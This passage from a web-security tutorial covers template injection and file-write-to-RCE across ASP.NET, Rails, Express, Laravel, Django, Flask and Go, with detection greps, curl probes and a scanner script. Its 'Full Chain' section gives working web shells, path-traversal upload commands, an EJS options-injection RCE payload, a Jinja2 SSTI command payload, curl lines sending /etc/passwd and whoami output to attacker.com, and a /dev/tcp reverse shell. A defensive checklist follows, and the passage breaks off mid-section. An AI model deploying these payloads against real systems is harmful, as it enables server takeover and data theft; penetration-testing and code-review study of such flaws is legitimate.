<span class="p">{</span><span class="err">​​</span><span class="p">{</span> <span class="err">$</span><span class="n">x</span><span class="o">:=.</span><span class="n">Gin</span><span class="o">.</span><span class="n">Context</span><span class="o">.</span><span class="n">Request</span> <span class="err">​</span><span class="p">}</span><span class="err">​​​​</span><span class="p">}{</span><span class="err">​</span><span class="p">{</span> <span class="err">$</span><span class="n">x</span><span class="o">.</span><span class="n">URL</span> <span class="err">​</span><span class="p">}</span><span class="err">​​​​</span><span class="p">}</span>
</code></pre></div></div>

<p><strong>Echo Framework - Arbitrary File Read:</strong></p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="err">​</span><span class="p">{</span> <span class="err">$</span><span class="n">x</span><span class="o">:=.</span><span class="n">Echo</span><span class="o">.</span><span class="n">Filesystem</span><span class="o">.</span><span class="n">Open</span> <span class="s">"/etc/passwd"</span> <span class="err">​</span><span class="p">}</span><span class="err">​​​​</span><span class="p">}</span>
<span class="p">{</span><span class="err">​</span><span class="p">{</span> <span class="o">.</span><span class="n">Stream</span> <span class="m">200</span> <span class="s">"text/plain"</span> <span class="err">$</span><span class="n">x</span> <span class="err">​</span><span class="p">}</span><span class="err">​​​​</span><span class="p">}</span>
</code></pre></div></div>

<p><strong>Note:</strong> Go templates are sandboxed; RCE is extremely difficult without custom functions.</p>

<hr />

<h2 id="step-5-detection---with-source-code-access">Step 5: Detection - With Source Code Access</h2>

<h3 id="aspnet-mvc-2">ASP.NET MVC</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find View() calls</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"return View()"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.cs"</span>

<span class="c"># Find catch-all routes</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"MapRoute.*</span><span class="se">\*</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.cs"</span>
</code></pre></div></div>

<hr />

<h3 id="ruby-on-rails-2">Ruby on Rails</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find wildcard routes</span>
<span class="nb">grep</span> <span class="nt">-nE</span> <span class="s1">'\*(action|controller)'</span> config/routes.rb

<span class="c"># Find implicit rendering (no render/redirect)</span>
<span class="nb">grep</span> <span class="nt">-A10</span> <span class="s2">"def [a-z_]*$"</span> app/controllers/<span class="k">*</span>.rb | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"render</span><span class="se">\|</span><span class="s2">redirect"</span>
</code></pre></div></div>

<hr />

<h3 id="nodejsexpress-2">Node.js/Express</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find render calls with user data</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"res.render.*req</span><span class="se">\.</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>

<span class="c"># Find dangerous patterns</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"res.render.*params</span><span class="se">\|</span><span class="s2">res.render.*query"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>
</code></pre></div></div>

<hr />

<h3 id="phplaravel-2">PHP/Laravel</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find dynamic view calls</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"view(</span><span class="se">\$</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.php"</span>

<span class="c"># Find user-controlled view names</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"view(request"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.php"</span>
</code></pre></div></div>

<hr />

<h3 id="pythondjango-2">Python/Django</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find dynamic template names</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"render(request,.*request</span><span class="se">\.</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.py"</span>

<span class="c"># Find path parameters in views</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"def.*</span><span class="se">\(</span><span class="s2">request,.*template"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.py"</span>
</code></pre></div></div>

<hr />

<h3 id="pythonflask-2">Python/Flask</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find render_template with user input</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"render_template.*request</span><span class="se">\.</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.py"</span>

<span class="c"># Find route parameters used in rendering</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"@app.route.*&lt;.*&gt;.*render_template"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.py"</span>
</code></pre></div></div>

<hr />

<h3 id="go">Go</h3>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find template parsing with user input</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"template.*Parse.*Query</span><span class="se">\|</span><span class="s2">template.*Parse.*Param"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.go"</span>

<span class="c"># Find HTML rendering with user data</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"</span><span class="se">\.</span><span class="s2">HTML.*Context</span><span class="se">\|\.</span><span class="s2">HTML.*Request"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.go"</span>
</code></pre></div></div>

<hr />

<h2 id="step-6-detection---without-source-code-black-box">Step 6: Detection - WITHOUT Source Code (Black Box)</h2>

<h3 id="aspnet-mvc-3">ASP.NET MVC</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Identify ASP.NET</span>
curl <span class="nt">-I</span> https://target.com/
<span class="c"># Look for: X-AspNet-Version, X-AspNetMvc-Version</span>
<span class="c"># Cookie: ASP.NET_SessionId</span>
</code></pre></div></div>

<p><strong>Path Traversal Test:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> https://target.com/Home/../../test
curl <span class="nt">-i</span> https://target.com/Home/NonExistentAction

<span class="c"># Look for:</span>
<span class="c"># - "The view 'NonExistentAction' or its master was not found"</span>
<span class="c"># - Stack traces revealing view search paths</span>
</code></pre></div></div>

<hr />

<h3 id="ruby-on-rails-3">Ruby on Rails</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Identify Rails</span>
curl <span class="nt">-I</span> https://target.com/
<span class="c"># Look for: X-Runtime, X-Request-Id</span>
<span class="c"># Cookie: _rails_app_session</span>
</code></pre></div></div>

<p><strong>Wildcard Detection:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> https://target.com/pages/test
curl <span class="nt">-i</span> https://target.com/pages/../../../../etc/passwd

<span class="c"># Look for:</span>
<span class="c"># - "Template is missing"</span>
<span class="c"># - "Missing template pages/../../../../etc/passwd"</span>
<span class="c"># - "ActionView::MissingTemplate"</span>
</code></pre></div></div>

<p><strong>One-liner:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> https://target.com/pages/../../../../etc/passwd 2&gt;&amp;1 | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"missing template"</span> <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"[!] WILDCARD DETECTED"</span>
</code></pre></div></div>

<hr />

<h3 id="nodejsexpress-3">Node.js/Express</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Identify Node.js/Express</span>
curl <span class="nt">-I</span> https://target.com/
<span class="c"># Look for: X-Powered-By: Express</span>
<span class="c"># Cookie: connect.sid</span>
</code></pre></div></div>

<p><strong>Options Injection Test:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="s2">"https://target.com/profile?settings[view%20options][outputFunctionName]=x"</span>

<span class="c"># Look for:</span>
<span class="c"># - 500 errors</span>
<span class="c"># - JavaScript syntax errors in response</span>
<span class="c"># - Different behavior than normal requests</span>
</code></pre></div></div>

<p><strong>Template Error Probing:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> https://target.com/nonexistent
<span class="c"># Look for: "Error: Failed to lookup view" or EJS/Handlebars errors</span>
</code></pre></div></div>

<hr />

<h3 id="phplaravel-3">PHP/Laravel</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Identify Laravel</span>
curl <span class="nt">-I</span> https://target.com/
<span class="c"># Look for: Set-Cookie: laravel_session</span>
<span class="c"># X-Powered-By: PHP</span>

<span class="c"># Check for Laravel error pages</span>
curl <span class="nt">-i</span> https://target.com/nonexistent
<span class="c"># Look for: "Illuminate\View\ViewException"</span>
</code></pre></div></div>

<p><strong>Path Traversal Test:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> https://target.com/page/../../config/app

<span class="c"># Look for:</span>
<span class="c"># - "View [...] not found"</span>
<span class="c"># - Stack traces with view paths</span>
</code></pre></div></div>

<hr />

<h3 id="pythondjango-3">Python/Django</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Identify Django</span>
curl <span class="nt">-I</span> https://target.com/
<span class="c"># Look for: Set-Cookie: csrftoken, sessionid</span>
<span class="c"># Django debug page styling (if debug=True)</span>

curl <span class="nt">-i</span> https://target.com/nonexistent
<span class="c"># Look for: "TemplateDoesNotExist" error page</span>
</code></pre></div></div>

<p><strong>SSTI Detection:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Test for template injection</span>
curl <span class="s2">"https://target.com/page?name={​{7*7​}​​​​}"</span>

<span class="c"># Look for:</span>
<span class="c"># - "49" in response (SSTI confirmed)</span>
<span class="c"># - Django template syntax errors</span>
</code></pre></div></div>

<hr />

<h3 id="pythonflask-3">Python/Flask</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Identify Flask</span>
curl <span class="nt">-I</span> https://target.com/
<span class="c"># Look for: Set-Cookie: session (JWT format)</span>
<span class="c"># Server: Werkzeug (if debug mode)</span>

curl <span class="nt">-i</span> https://target.com/nonexistent
<span class="c"># Look for: Werkzeug debugger, Flask error pages</span>
</code></pre></div></div>

<p><strong>SSTI Detection:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Test for Jinja2 SSTI</span>
curl <span class="s2">"https://target.com/?name={​{7*7​}​​​​}"</span>
curl <span class="s2">"https://target.com/?name={​{config​}​​​​}"</span>

<span class="c"># Look for:</span>
<span class="c"># - "49" in response</span>
<span class="c"># - Config object dumped</span>
<span class="c"># - Jinja2 syntax errors</span>
</code></pre></div></div>

<hr />

<h3 id="goginecho-2">Go/Gin/Echo</h3>

<p><strong>Fingerprinting:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Less distinctive headers, check response patterns</span>
curl <span class="nt">-I</span> https://target.com/

<span class="c"># Gin might expose errors like:</span>
<span class="c"># "template: ... :1: function "..." not defined"</span>
</code></pre></div></div>

<p><strong>SSTI Detection:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Test for template injection</span>
curl <span class="s2">"https://target.com/?template={​{.​}​​​​}"</span>
curl <span class="s2">"https://target.com/?name={​{.Request​}​​​​}"</span>

<span class="c"># Look for:</span>
<span class="c"># - Go template syntax errors</span>
<span class="c"># - Object structures in response</span>
</code></pre></div></div>

<hr />

<h2 id="step-7-automated-detection-scripts">Step 7: Automated Detection Scripts</h2>

<h3 id="multi-framework-scanner">Multi-Framework Scanner</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># framework-vuln-scanner.sh</span>

<span class="nv">TARGET</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
<span class="nv">OUTPUT</span><span class="o">=</span><span class="s2">"scan-results.txt"</span>

<span class="nb">echo</span> <span class="s2">"[*] Scanning </span><span class="nv">$TARGET</span><span class="s2"> for file-write-to-RCE vulnerabilities"</span> | <span class="nb">tee</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test ASP.NET MVC</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing ASP.NET MVC..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/Home/NonExistent"</span> | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"view.*not found"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] ASP.NET MVC: Potential View Engine exposure"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test Rails</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing Ruby on Rails..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/pages/../../../../etc/passwd"</span> | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"missing template</span><span class="se">\|</span><span class="s2">actionview"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] Rails: Wildcard routing detected!"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test Express</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing Node.js/Express..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/test?settings[view%20options][outputFunctionName]=x"</span> 2&gt;&amp;1 | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"error</span><span class="se">\|</span><span class="s2">express"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] Express: Possible options injection vector"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test Laravel</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing PHP/Laravel..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/page/../../test"</span> | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"illuminate</span><span class="se">\|</span><span class="s2">view.*not found"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] Laravel: View resolution exposure"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test Django</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing Python/Django..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/page?name={​{7*7​}​​​​}"</span> | <span class="nb">grep</span> <span class="s2">"49"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] Django: SSTI vulnerability detected!"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test Flask</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing Python/Flask..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/?test={​{config​}​​​​}"</span> | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"config</span><span class="se">\|</span><span class="s2">werkzeug"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] Flask: SSTI vulnerability detected!"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="c"># Test Go</span>
<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Testing Go frameworks..."</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>
curl <span class="nt">-si</span> <span class="s2">"</span><span class="nv">$TARGET</span><span class="s2">/?test={​{.​}​​​​}"</span> | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"template.*error</span><span class="se">\|</span><span class="s2">can't evaluate"</span> <span class="o">&amp;&amp;</span> <span class="se">\</span>
    <span class="nb">echo</span> <span class="s2">"[!] Go: Possible template injection"</span> | <span class="nb">tee</span> <span class="nt">-a</span> <span class="nv">$OUTPUT</span>

<span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">[*] Scan complete. Results saved to </span><span class="nv">$OUTPUT</span><span class="s2">"</span>
</code></pre></div></div>

<p><strong>Usage:</strong></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod</span> +x framework-vuln-scanner.sh
./framework-vuln-scanner.sh https://target.com
</code></pre></div></div>

<hr />

<h2 id="step-8-framework-specific-exploitation-chains">Step 8: Framework-Specific Exploitation Chains</h2>

<h3 id="aspnet-mvc---full-chain">ASP.NET MVC - Full Chain</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Discover file upload with path traversal</span>
curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@payload.txt"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../Views/Home/Backdoor.cshtml"</span>

<span class="c"># 2. Upload malicious Razor view</span>
<span class="nb">cat</span> <span class="o">&gt;</span> backdoor.cshtml <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
@{
    var cmd = Request["cmd"];
    if (cmd != null) {
        var proc = System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
        proc.WaitForExit();
    }
}
</span><span class="no">EOF

</span><span class="c"># 3. Trigger execution</span>
curl <span class="s2">"https://target.com/Home/Backdoor?cmd=whoami"</span>
</code></pre></div></div>

<hr />

<h3 id="ruby-on-rails---full-chain">Ruby on Rails - Full Chain</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Upload malicious ERB template</span>
<span class="nb">cat</span> <span class="o">&gt;</span> evil.html.erb <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
&lt;%= `#{params[:cmd]}` %&gt;
</span><span class="no">EOF

</span>curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@evil.html.erb"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../app/views/pages/evil.html.erb"</span>

<span class="c"># 2. Trigger via wildcard route</span>
curl <span class="s2">"https://target.com/pages/evil?cmd=curl%20http://attacker.com/%3Fdata=%24(cat%20/etc/passwd%7Cbase64)"</span>

<span class="c"># OR - Upload malicious controller</span>
<span class="nb">cat</span> <span class="o">&gt;</span> backdoor_controller.rb <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
class BackdoorController &lt; ApplicationController
  skip_before_action :verify_authenticity_token
  def shell
    render plain: `#{params[:cmd]}`
  end
end
</span><span class="no">EOF

</span>curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@backdoor_controller.rb"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../app/controllers/backdoor_controller.rb"</span>

<span class="c"># 3. Trigger auto-loading (requires route)</span>
curl <span class="s2">"https://target.com/backdoor/shell?cmd=whoami"</span>
</code></pre></div></div>

<hr />

<h3 id="nodejsexpress---full-chain-no-file-write">Node.js/Express - Full Chain (No File Write!)</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Exploit via options injection - NO FILE WRITE NEEDED!</span>

<span class="c"># 1. Identify vulnerable render endpoint</span>
curl <span class="nt">-i</span> https://target.com/profile

<span class="c"># 2. Inject malicious outputFunctionName</span>
<span class="nv">PAYLOAD</span><span class="o">=</span><span class="s2">"x;process.mainModule.require('child_process').execSync('curl http://attacker.com/</span><span class="se">\?</span><span class="s2">data=</span><span class="se">\$</span><span class="s2">(whoami)');//"</span>

curl <span class="s2">"https://target.com/profile?settings[view%20options][outputFunctionName]=</span><span class="k">${</span><span class="nv">PAYLOAD</span><span class="k">}</span><span class="s2">"</span>

<span class="c"># Or if file write is available:</span>
<span class="nb">cat</span> <span class="o">&gt;</span> backdoor.ejs <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
&lt;%= process.mainModule.require('child_process').execSync(query.cmd).toString() %&gt;
</span><span class="no">EOF

</span>curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@backdoor.ejs"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../views/backdoor.ejs"</span>

curl <span class="s2">"https://target.com/backdoor?cmd=whoami"</span>
</code></pre></div></div>

<hr />

<h3 id="phplaravel---full-chain">PHP/Laravel - Full Chain</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Upload malicious Blade template</span>
<span class="nb">cat</span> <span class="o">&gt;</span> backdoor.blade.php <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
@php
    system(</span><span class="nv">$_GET</span><span class="sh">['cmd']);
@endphp
</span><span class="no">EOF

</span>curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@backdoor.blade.php"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../resources/views/backdoor.blade.php"</span>

<span class="c"># 2. Trigger execution</span>
curl <span class="s2">"https://target.com/page/backdoor?cmd=whoami"</span>
</code></pre></div></div>

<hr />

<h3 id="pythondjango---full-chain">Python/Django - Full Chain</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Overwrite __init__.py in application package</span>
<span class="nb">cat</span> <span class="o">&gt;</span> __init__.py <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
import os
os.system('curl http://attacker.com/?data=</span><span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span><span class="sh">')
</span><span class="no">EOF

</span>curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@__init__.py"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../myapp/__init__.py"</span>

<span class="c"># 2. Trigger reload (if debug mode) or wait for restart</span>
<span class="c"># The payload executes on module import</span>

<span class="c"># Alternative - SSTI if available:</span>
curl <span class="s2">"https://target.com/page?template={​{request.environ​}​​​​}"</span>
</code></pre></div></div>

<hr />

<h3 id="pythonflask---full-chain">Python/Flask - Full Chain</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Overwrite __init__.py</span>
<span class="nb">cat</span> <span class="o">&gt;</span> __init__.py <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
import os
os.system('bash -c "bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1"')
</span><span class="no">EOF

</span>curl <span class="nt">-X</span> POST https://target.com/upload <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"file=@__init__.py"</span> <span class="se">\</span>
    <span class="nt">-F</span> <span class="s2">"path=../../app/__init__.py"</span>

<span class="c"># 2. In debug mode, changes auto-reload</span>
<span class="c"># Listen on attacker machine:</span>
nc <span class="nt">-lvnp</span> 4444

<span class="c"># Alternative - SSTI:</span>
<span class="nv">PAYLOAD</span><span class="o">=</span><span class="s2">"{​{config.__class__.__init__.__globals__['os'].popen('whoami').read()​}​​​​}"</span>
curl <span class="s2">"https://target.com/?name=</span><span class="k">${</span><span class="nv">PAYLOAD</span><span class="k">}</span><span class="s2">"</span>
</code></pre></div></div>

<hr />

<h2 id="step-9-code-review-checklist">Step 9: Code Review Checklist</h2>

<h3 id="universal-red-flags-all-frameworks">Universal Red Flags (All Frameworks)</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />User input used in file paths without validation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Dynamic view/template name resolution</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Wildcard routing patterns</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />File upload with insufficient path validation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Debug mode enabled in production</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Template/view rendering with user-controlled options</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Path traversal sequences (<code class="language-plaintext highlighter-rouge">../</code>) not filtered</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />No whitelist for allowed views/templates</li>
</ul>

<hr />

<h3 id="framework-specific-red-flags">Framework-Specific Red Flags</h3>

<h4 id="aspnet-mvc-4">ASP.NET MVC</h4>
<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DANGEROUS</span>
<span class="k">return</span> <span class="nf">View</span><span class="p">(</span><span class="n">userInput</span><span class="p">);</span>
<span class="k">return</span> <span class="nf">View</span><span class="p">(</span><span class="s">"~/Views/"</span> <span class="p">+</span> <span class="n">userInput</span> <span class="p">+</span> <span class="s">".cshtml"</span><span class="p">);</span>

<span class="c1">// SAFE</span>
<span class="kt">var</span> <span class="n">allowedViews</span> <span class="p">=</span> <span class="k">new</span><span class="p">[]</span> <span class="p">{</span> <span class="s">"Profile"</span><span class="p">,</span> <span class="s">"Settings"</span> <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="n">allowedViews</span><span class="p">.</span><span class="nf">Contains</span><span class="p">(</span><span class="n">viewName</span><span class="p">))</span>
    <span class="k">return</span> <span class="nf">View</span><span class="p">(</span><span class="n">viewName</span><span class="p">);</span>
</code></pre></div></div>

<hr />

<h4 id="ruby-on-rails-4">Ruby on Rails</h4>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># DANGEROUS</span>
<span class="n">get</span> <span class="s1">'/*action'</span><span class="p">,</span> <span class="ss">controller: </span><span class="s1">'pages'</span>
<span class="n">render</span> <span class="ss">template: </span><span class="n">params</span><span class="p">[</span><span class="ss">:template</span><span class="p">]</span>

<span class="c1"># SAFE</span>
<span class="no">ALLOWED_ACTIONS</span> <span class="o">=</span> <span class="sx">%w[index show profile]</span><span class="p">.</span><span class="nf">freeze</span>
<span class="k">raise</span> <span class="k">unless</span> <span class="no">ALLOWED_ACTIONS</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="n">params</span><span class="p">[</span><span class="ss">:action</span><span class="p">])</span>
<span class="n">render</span> <span class="ss">template: </span><span class="s2">"pages/</span><span class="si">#{</span><span class="n">params</span><span class="p">[</span><span class="ss">:action</span><span class="p">]</span><span class="si">}</span><span class="s2">"</span>
</code></pre></div></div>

<hr />

<h4 id="nodejsexpress-4">Node.js/Express</h4>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DANGEROUS</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">view</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">);</span>

<span class="c1">// SAFE</span>
